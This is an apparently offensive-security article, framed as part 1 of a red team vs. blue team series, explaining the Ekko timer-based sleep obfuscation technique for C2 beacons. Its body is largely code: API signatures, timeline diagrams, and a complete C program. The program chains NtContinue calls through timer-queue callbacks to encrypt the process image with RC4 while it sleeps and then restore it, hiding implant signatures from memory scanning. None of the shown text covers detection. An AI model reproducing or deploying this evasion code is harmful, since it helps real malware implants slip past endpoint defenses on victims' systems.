Sleep Mask in Red Team vs. Blue Team Engagements (Part 1): A Deep Dive into Ekko's Timer-Based Obfuscation

[Start] → [Connect to C2] → [Get Tasking] → [Execute Task] → [Sleep/Wait] → [Connect to C2] → ...

Beacon running normally
       │
       ▼
┌──────────────────────────────────────┐
│ 1. Set page protection to RW         │  (VirtualProtect → PAGE_READWRITE)
│ 2. Encrypt the Beacon image          │  (RC4 / XOR / other symmetric ciphers)
│ 3. Perform the sleep                 │  (Sleep / WaitForSingleObject)
│    Memory now contains ciphertext    │
│ 4. Decrypt the Beacon image          │  (Reverse operation with the same key)
│ 5. Restore page protection to RX     │  (VirtualProtect → PAGE_EXECUTE_READWRITE)
└──────────────────────────────────────┘
       │
       ▼
Beacon continues execution

// Create a timer queue
HANDLE CreateTimerQueue(void);

// Create a timer in the queue; when it expires, the callback runs on a thread pool thread
BOOL CreateTimerQueueTimer(
    PHANDLE             phNewTimer,
    HANDLE              TimerQueue,
    WAITORTIMERCALLBACK Callback,    // Callback function pointer
    PVOID               Parameter,   // Parameter passed to the callback
    DWORD               DueTime,     // Delay before the first firing (milliseconds)
    DWORD               Period,      // Period (0 = one-shot)
    ULONG               Flags        // WT_EXECUTEINTIMERTHREAD, etc.
);

NTSTATUS NtContinue(
    HANDLE    ThreadContext,   // Pointer to a CONTEXT structure
    BOOLEAN   RaiseAlert
);

// Exported by Advapi32.dll; this is actually an RC4 encryption/decryption function
NTSTATUS SystemFunction032(
    USTRING* Data,    // Data to encrypt/decrypt
    USTRING* Key      // Key
);

typedef struct {
    DWORD   Length;
    DWORD   MaximumLength;
    PVOID   Buffer;
} USTRING;

┌──────────────────────────────────────────────────────────────┐
│ 1. Obtain the current process image base (ImageBase)         │
│    and image size (ImageSize)                                │
│ 2. Create the Event and the TimerQueue                       │
│ 3. Resolve the addresses of key functions:                   │
│    - NtContinue  (Ntdll)                                     │
│    - SystemFunction032 (Advapi32)                            │
│    - VirtualProtect (Kernel32)                               │
│    - WaitForSingleObject / SetEvent                          │
│ 4. Prepare the RC4 key (16 bytes)                            │
│ 5. Capture the current thread context with                   │
│    RtlCaptureContext                                         │
│    (via a 0 ms timer callback on the Timer Queue)            │
└──────────────────────────────────────────────────────────────┘

// Using RopProtRW as an example
RopProtRW.Rsp  -= 8;               // Move the stack pointer down to emulate the return-address slot a ret instruction would land on
RopProtRW.Rip   = VirtualProtect;  // Set the instruction pointer to the target function
RopProtRW.Rcx   = ImageBase;       // Arg 1: image base
RopProtRW.Rdx   = ImageSize;       // Arg 2: image size
RopProtRW.R8    = PAGE_READWRITE;  // Arg 3: new protection
RopProtRW.R9    = &OldProtect;     // Arg 4: receives the old protection

Timeline (ms)   0     100    200    300    400    500    600
                │      │      │      │      │      │      │
                │  ProtRW MemEnc Delay MemDec ProtRX SetEvt
                │  (to RW) (enc)  (sleep)(dec)  (to RWX)(wake)
                │
                ▼
            Main thread waits on the Event

Time        Memory State         Description
────────────────────────────────────────────────────────
T0          [Plaintext Beacon]   Preparation: build the ROP chain
T1 (100ms)  [Plaintext Beacon]   VirtualProtect → RW (must be writable so the ciphertext can be written back)
T2 (200ms)  [Ciphertext Beacon]  RC4 encryption complete; no identifiable signatures in memory
T3 (300ms)  [Ciphertext Beacon]  Main thread sleeping; the timer thread is also waiting
T4 (400ms)  [Ciphertext Beacon]  RC4 decryption; plaintext restored
T5 (500ms)  [Plaintext Beacon]   VirtualProtect → RWX (executability restored)
T6 (600ms)  [Plaintext Beacon]   SetEvent wakes the main thread

┌──────────────────────┐     ┌───────────────────────────────┐
│     Main Thread      │     │  Timer Queue Timer Thread     │
│                      │     │                               │
│  Build CONTEXTs      │     │                               │
│  Register 6 timers   │     │                               │
│                      │     │                               │
│  Wait(hEvent, INF) ──┼────►│  T+100ms: VirtualProtect(RW)  │
│  [main thread sleeps]│     │  T+200ms: RC4 encrypt         │
│  [memory ciphertext] │     │  T+300ms: WaitForSingleObject │
│  [invisible]         │     │  T+400ms: RC4 decrypt         │
│                      │     │  T+500ms: VirtualProtect(RWX) │
│                      │◄─────┼  T+600ms: SetEvent           │
│  Woken up; resumes   │     │                               │
└──────────────────────┘     └───────────────────────────────┘

ImageBase = GetModuleHandleA( NULL );
ImageSize = ( ( PIMAGE_NT_HEADERS ) ( ImageBase + 
    ( ( PIMAGE_DOS_HEADER ) ImageBase )->e_lfanew ) 
    )->OptionalHeader.SizeOfImage;

CreateTimerQueueTimer( &hNewTimer, hTimerQueue, RtlCaptureContext, 
    &CtxThread, 0, 0, WT_EXECUTEINTIMERTHREAD );
WaitForSingleObject( hEvent, 0x32 );  // Wait 50 ms

memcpy( &RopProtRW, &CtxThread, sizeof( CONTEXT ) );
// ... for each CONTEXT, set Rip (target function) and Rcx/Rdx/R8/R9 (arguments)

CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopProtRW, 100, 0, WT_EXECUTEINTIMERTHREAD );
CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopMemEnc, 200, 0, WT_EXECUTEINTIMERTHREAD );
// ... registered in order, with DueTime increasing by 100 ms

#include <windows.h>
#include <stdio.h>

// ============================================================
// Data structure definitions
// ============================================================

// String structure required by SystemFunction032
typedef struct {
    DWORD   Length;
    DWORD   MaximumLength;
    PVOID   Buffer;
} USTRING;

// Common handle macro
#define NtCurrentProcess()  ((HANDLE)(LONG_PTR)-1)

// ============================================================
// EkkoObf - Sleep Obfuscation core function
// ============================================================
VOID EkkoObf( DWORD SleepTime )
{
    // --- Thread context: the template captured via RtlCaptureContext ---
    CONTEXT CtxThread   = { 0 };

    // --- 6 ROP chain contexts, each representing one function call ---
    CONTEXT RopProtRW   = { 0 };   // VirtualProtect    → PAGE_READWRITE
    CONTEXT RopMemEnc   = { 0 };   // SystemFunction032 → RC4 encrypt
    CONTEXT RopDelay    = { 0 };   // WaitForSingleObject → sleep
    CONTEXT RopMemDec   = { 0 };   // SystemFunction032 → RC4 decrypt
    CONTEXT RopProtRX   = { 0 };   // VirtualProtect    → PAGE_EXECUTE_READWRITE
    CONTEXT RopSetEvt   = { 0 };   // SetEvent → wake the main thread

    HANDLE  hTimerQueue = NULL;
    HANDLE  hNewTimer   = NULL;
    HANDLE  hEvent      = NULL;
    PVOID   ImageBase   = NULL;
    DWORD   ImageSize   = 0;
    DWORD   OldProtect  = 0;

    // RC4 key (16 bytes; should be randomly generated in real deployments)
    CHAR    KeyBuf[16] = {
        0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55,
        0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55
    };
    USTRING Key = { 0 };
    USTRING Img = { 0 };

    PVOID   NtContinue  = NULL;
    PVOID   SysFunc032  = NULL;

    // ==========================================================
    // Step 1: Initialize handles and resolve function addresses
    // ==========================================================
    hEvent      = CreateEventW( 0, 0, 0, 0 );
    hTimerQueue = CreateTimerQueue();

    // NtContinue: restores a CONTEXT structure; equivalent to an arbitrary function call
    NtContinue  = GetProcAddress(
        GetModuleHandleA( "Ntdll" ), "NtContinue" );

    // SystemFunction032: the RC4 encrypt/decrypt function exported by Advapi32
    SysFunc032  = GetProcAddress(
        LoadLibraryA( "Advapi32" ), "SystemFunction032" );

    // ==========================================================
    // Step 2: Obtain the base and size of the current process image
    // ==========================================================
    ImageBase = GetModuleHandleA( NULL );
    ImageSize = ( ( PIMAGE_NT_HEADERS )( ImageBase +
        ( ( PIMAGE_DOS_HEADER )ImageBase )->e_lfanew )
        )->OptionalHeader.SizeOfImage;

    // Fill the USTRING structures describing the memory region to encrypt/decrypt
    Key.Buffer  = KeyBuf;
    Key.Length  = Key.MaximumLength = 16;

    Img.Buffer  = ImageBase;
    Img.Length  = Img.MaximumLength = ImageSize;

    // ==========================================================
    // Step 3: Capture the timer thread context (as the ROP chain template)
    // ==========================================================
    // Use RtlCaptureContext as the Timer Queue callback;
    // DueTime=0 means it fires immediately; the callback runs on the timer thread
    if ( CreateTimerQueueTimer(
            &hNewTimer, hTimerQueue,
            RtlCaptureContext,       // Callback
            &CtxThread,              // Parameter = output CONTEXT
            0, 0,                    // DueTime=0, Period=0
            WT_EXECUTEINTIMERTHREAD ) )
    {
        // Wait 50 ms to ensure the context capture has completed
        WaitForSingleObject( hEvent, 0x32 );

        // ======================================================
        // Step 4: Build the 6 ROP chains from the captured context template
        // ======================================================
        memcpy( &RopProtRW, &CtxThread, sizeof( CONTEXT ) );
        memcpy( &RopMemEnc, &CtxThread, sizeof( CONTEXT ) );
        memcpy( &RopDelay,  &CtxThread, sizeof( CONTEXT ) );
        memcpy( &RopMemDec, &CtxThread, sizeof( CONTEXT ) );
        memcpy( &RopProtRX, &CtxThread, sizeof( CONTEXT ) );
        memcpy( &RopSetEvt, &CtxThread, sizeof( CONTEXT ) );

        // ----- ROP 1: VirtualProtect(ImageBase, ImageSize, PAGE_READWRITE, &OldProtect) -----
        RopProtRW.Rsp  -= 8;
        RopProtRW.Rip   = VirtualProtect;
        RopProtRW.Rcx   = ImageBase;
        RopProtRW.Rdx   = ImageSize;
        RopProtRW.R8    = PAGE_READWRITE;
        RopProtRW.R9    = &OldProtect;

        // ----- ROP 2: SystemFunction032(&Img, &Key) — RC4 encrypt -----
        RopMemEnc.Rsp  -= 8;
        RopMemEnc.Rip   = SysFunc032;
        RopMemEnc.Rcx   = &Img;
        RopMemEnc.Rdx   = &Key;

        // ----- ROP 3: WaitForSingleObject(NtCurrentProcess(), SleepTime) — sleep -----
        RopDelay.Rsp   -= 8;
        RopDelay.Rip    = WaitForSingleObject;
        RopDelay.Rcx    = NtCurrentProcess();
        RopDelay.Rdx    = SleepTime;

        // ----- ROP 4: SystemFunction032(&Img, &Key) — RC4 decrypt -----
        RopMemDec.Rsp  -= 8;
        RopMemDec.Rip   = SysFunc032;
        RopMemDec.Rcx   = &Img;
        RopMemDec.Rdx   = &Key;

        // ----- ROP 5: VirtualProtect(ImageBase, ImageSize, PAGE_EXECUTE_READWRITE, &OldProtect) -----
        RopProtRX.Rsp  -= 8;
        RopProtRX.Rip   = VirtualProtect;
        RopProtRX.Rcx   = ImageBase;
        RopProtRX.Rdx   = ImageSize;
        RopProtRX.R8    = PAGE_EXECUTE_READWRITE;
        RopProtRX.R9    = &OldProtect;

        // ----- ROP 6: SetEvent(hEvent) — wake the main thread -----
        RopSetEvt.Rsp  -= 8;
        RopSetEvt.Rip   = SetEvent;
        RopSetEvt.Rcx   = hEvent;

        // ======================================================
        // Step 5: Register the 6 timers; they fire in increasing DueTime order
        // ======================================================
        // Every timer callback is NtContinue, with the matching CONTEXT pointer as its parameter
        // DueTime step is 100 ms; Period=0 means one-shot
        CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopProtRW, 100, 0, WT_EXECUTEINTIMERTHREAD );
        CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopMemEnc, 200, 0, WT_EXECUTEINTIMERTHREAD );
        CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopDelay,  300, 0, WT_EXECUTEINTIMERTHREAD );
        CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopMemDec, 400, 0, WT_EXECUTEINTIMERTHREAD );
        CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopProtRX, 500, 0, WT_EXECUTEINTIMERTHREAD );
        CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopSetEvt, 600, 0, WT_EXECUTEINTIMERTHREAD );

        // ======================================================
        // Step 6: The main thread sleeps, waiting for the ROP chain to complete
        // ======================================================
        // The process image is now encrypted; no identifiable Beacon signatures remain in memory
        WaitForSingleObject( hEvent, INFINITE );
    }

    // Clean up the timer queue
    DeleteTimerQueue( hTimerQueue );
}

// ============================================================
// Entry point — demonstrates a continuous loop of sleep obfuscation
// ============================================================
int main()
{
    puts( "[*] Ekko Sleep Obfuscation" );

    do
        EkkoObf( 4 * 1000 );   // Sleep for 4 seconds per iteration
    while ( TRUE );

    return 0;
}